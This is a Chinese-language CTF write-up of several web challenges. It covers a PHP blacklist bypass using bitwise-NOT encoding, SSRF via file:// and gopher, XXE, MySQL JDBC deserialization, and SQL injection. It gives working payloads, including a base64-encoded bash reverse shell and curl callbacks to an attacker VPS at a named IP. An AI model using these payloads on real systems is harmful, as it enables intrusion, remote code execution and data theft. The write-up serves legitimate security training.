源码
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
直接取反绕过就行了
exp:
$a = "system";
$b= "cat flag.php";
echo urlencode(~$a);
echo "\n";
echo urlencode(~$b);
#(~%8F%97%8F%96%91%99%90)(); ``//phpinfo
最后的payload
为:
?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)
这道题目是非预期
出题人的本意应该是考察SSRF
和XXE
但是直接一个SSRF
就可以读出flag
了
源码中
$poc=$_SERVER['QUERY_STRING']; #不会对url解码,所以直接绕过过滤
所以我们直接利用file
协议去读文件
可以知道flag
在flag.php
里面
所以最终的payload为:
?xxx=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&yyy=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
预期解:
这道题应该是用gopher
进行ssrf
发送post
请求给xxe.php
首先我们来大致说一下流程,就是用gopher
协议进行访问内网,有点soap
的味道~~
我们直接贴出payload:
然后再稍加分析一下
?a=1&b=1&c=gopher://127.0.0.1:80/_POST%2520/xxe.php%2520HTTP/1.1%250d%250aHost%3a127.0.0.1%3a80%250d%250aAccept%3a*/*%250d%250aContent-Length%3a611%250d%250aContent-Type%3aapplication/x-www-form-urlencoded%250d%250a%250d%250adata=%25253c%25253f%252578%25256d%25256c%252520%252576%252565%252572%252573%252569%25256f%25256e%25253d%252522%252531%25252e%252530%252522%252520%252565%25256e%252563%25256f%252564%252569%25256e%252567%25253d%252522%252575%252572%252565%252561%252564%252574%252566%25252d%252538%252522%25253f%25253e%25250a%25253c%252521%252544%25254f%252543%252554%252559%252550%252545%252520%252578%252565%252520%25255b%25250a%25253c%252521%252545%25254c%252545%25254d%252545%25254e%252554%252520%25256e%252561%25256d%252565%252520%252541%25254e%252559%252520%25253e%25250a%25253c%252521%252545%25254e%252554%252549%252554%252559%252520%252578%252565%252520%252553%252559%252553%252554%252545%25254d%252520%252522%252570%252568%252570%25253a%25252f%25252f%252566%252569%25256c%252574%252565%252572%25252f%252572%252565%252572%252565%252561%252564%252561%252564%25253d%252563%25256f%25256e%252576%252565%252572%252574%25252e%252562%252561%252573%252565%252536%252534%25252d%252565%25256e%252563%25256f%252564%252565%25252f%252572%252565%252573%25256f%252575%252572%252563%252565%25253d%252566%25256c%252572%252565%252561%252564%252561%252567%25252e%252570%252568%252570%252522%252520%25253e%25255d%25253e%25250a%25253c%252572%25256f%25256f%252574%25253e%25250a%25253c%25256e%252561%25256d%252565%25253e%252526%252578%252565%25253b%25253c%25252f%25256e%252561%25256d%252565%25253e%25250a%25253c%25252f%252572%25256f%25256f%252574%25253e
1、首先分析一下前一部分
gopher://127.0.0.1:80/_POST%2520/xxe.php%2520HTTP/1.1%250d%250aHost%3a127.0.0.1%3a80%250d%250aAccept%3a*/*%250d%250aContent-Length%3a611%250d%250aContent-Type%3aapplication/x-www-form-urlencoded
gopher
访问不到由于gopher
协议传递数据包的时候会将第一个字符吞掉,所以我们在前面加一个_
,然后后面接数据包
我们都知道一个数据包的格式如下:
有许多的请求头,但是只有一部分是必须的
上面的第一部分下列请求头的url编码(包括换行%0d%0a
,而且这儿需要将%
进行二次编码)
POST /xee.php HTTP/1.1
HOST:127.0.0.1:80
Accept:*/*
Content-Length:611
Content-Type:application/x-www-form-urlencoded
%0d%0a
Content-Length:611
的理解这个Content-Length:611
表示发送数据的大小
例如我们POST data=xxx
,则Content-Length
为8
,无论你进行多少次url编码,都会将我们发送的数据解码成data=xxx
,所以有时候我们进行多次url编码,但是服务器还是能识别,这就是Content-Length
的作用
我们知道这道题目实际就是gopher
进行xxe
攻击,我们只需要用gopher
发送一个能读取文件的xml
过去就可以了,而且实际题目有一些过滤,双写绕过就行了,所以随便找个能读文件的xml
如下
xml version="1.0" encoding="ureadtf-8"?>
<!DOCTYPE xe [
<!ELEMENT name ANY >
<!ENTITY xe SYSTEM "php://filter/rereadad=convert.base64-encode/resource=flreadag.php" >]>
<root>
<name>&xe;</name>
</root>
我们在计算长度的时候不能直接计算明文的长度,这是因为上面的字符有一些特殊字符,而这些特殊字符又有实际的含义,例如&
假设我们只计算明文的长度,则不管我们怎么url
编码,服务器都会解析成明文的格式
即访问xxe.php是发送的数据为data=这样就会包含特殊符号,就不能正确传输数据
1、对payload
(即xml
)所以字符进行url
编码,计算编码后的长度,例上面的xml编码后长度为606,加上data=
,总长度为610
2、先把编码后的数据加在data=
的后面
3、直接在burpsuite
里面编码(只对特殊字符编码即可,即%
,因为GET
方法有长度限制,如果编码太长不能发送请求)(再编两次码,总共对xml
三次编码,因为我们发送请求时浏览器本身会编一次码,然后gopher
发送数据时也会编码一次,所以只有编码三次,到达xxe.php
的数据才是xml
第一次编码之后的数据,否则直接是明文数据,不能有效传递xml
,如果编码四次也不行,只能三次,这只是针对特殊字符的)
4、burpsuite对特殊字符编码的地方
最终的结果为
对结果进行base64
解码就可以得到flag
了
这是一道java
题目
首先下载xml
,查看依赖
<dependencies>
<dependency>
<groupId>com.sparkjavagroupId>
<artifactId>spark-coreartifactId>
<version>2.9.0version>
dependency>
<dependency>
<groupId>org.slf4jgroupId>
<artifactId>slf4j-nopartifactId>
<version>1.7.30version>
dependency>
<dependency>
<groupId>commons-collectionsgroupId>
<artifactId>commons-collectionsartifactId>
<version>3.2.1version>
dependency>
<dependency>
<groupId>mysqlgroupId>
<artifactId>mysql-connector-javaartifactId>
<version>8.0.15version>
dependency>
<dependency>
<groupId>com.fasterxml.jackson.coregroupId>
<artifactId>jackson-databindartifactId>
<version>2.9.8version>
dependency>
<dependency>
<groupId>com.fasterxml.jackson.coregroupId>
<artifactId>jackson-coreartifactId>
<version>2.9.8version>
dependency>
<dependency>
<groupId>com.fasterxml.jackson.coregroupId>
<artifactId>jackson-annotationsartifactId>
<version>2.9.8version>
dependency>
然后就是一顿谷歌百度,最终找到了这个
https://github.com/fnmsd/MySQL_Fake_Server
上面有详细的介绍说明
直接开始操作步骤吧,原理说了也不知道
修改config.json
{
"fileread":{
"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd",
"linux_hosts":"/etc/hosts",
"index_php":"index.php"
},
"yso":{
"Jdk7u21":["Jdk7u21","calc"],
"CommonsCollections1":["CommonsCollections1","curl http://129.204.207.xxx:9002/asd"],
"Commonsollections6":["CommonsCollections6","curl http://129.204.207.xxx:9002/asd"]
}
}
我们只需要修改yso就行了,即反序列化,这个是伪造MYSQL服务端读文件和java的按序列化两个功能组合在一起使用的,所以我们只需要改yso就行
1、vps上运行python3 server.py
2、vps上监听9002端口
最终的payload:
{"id":["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc%3amysql%3a//129.204.207.xxx%3a3306/test%3fautoDeserialize%3dtrue%26queryInterceptors%3dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user%3dyso_CommonsCollections6_bash%20-c%20{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjkuMjA0LjIwNy54eHgvOTAwMiAwPiYxCg==}|{base64,-d}|{bash,-i}"]}
其中这句代码是bash -i >& /dev/tcp/129.204.207.114/9002 0>&1
的编码格式,就是通过linux特性略去了特殊字符
转换网址
bash%20-c%20{echo,YmFzaCAtaSA%25%32%62JiAvZGV2L3RjcC8xMjkuMjA0LjIwNy54eHgvOTAwMiAwPiYxCg==}|{base64,-d}|{bash,-i}
这道题无力吐槽,只想说想打人,感觉出题人脑子有点问题~~
没啥说的,最多就是一个注入题,其它的都是有点脑洞的意味
首先登录那个可以直接绕过登录
也可以在哪儿注出来,经过测试,过滤的> < = like regexp
等比较符号
这儿还可以用in
绕过
用法为
select substring("xxx" from 1 for 1) in("x");
上面返回1
,然后再结合sleep
就可以达到盲注的目的
逗号过滤用substring
绕过
这儿就不贴代码了,
然后在daochu.php
中还有一个未经任何过滤的SQL注入,并且有回显
payload:
?type=1&imei="union%20select%201,2,3,(select%20hints%20from%20hint),5,6%23&imei2=xxx
得到
<table border="1"><tr><th>userth><th>codeth><th>nameth><th>phonenumberth>tr><tr><td>see_the_dir_956c110ef9decdd920249f5fed9e4427td><td>6td><td>2td><td>3td>tr>table>
然后进入目录一阵乱扫,和不加目录是一样的路由,但是经过测试可以访问lib中的php文件,然后找到
lib\webuploader\0.1.5\server\preview.php
不知道咋个就得到了flag,反正我们得到的源码于后台的绝对不一样,着不知道这样出题的意义~~
这个先占个坑,没时间写了~~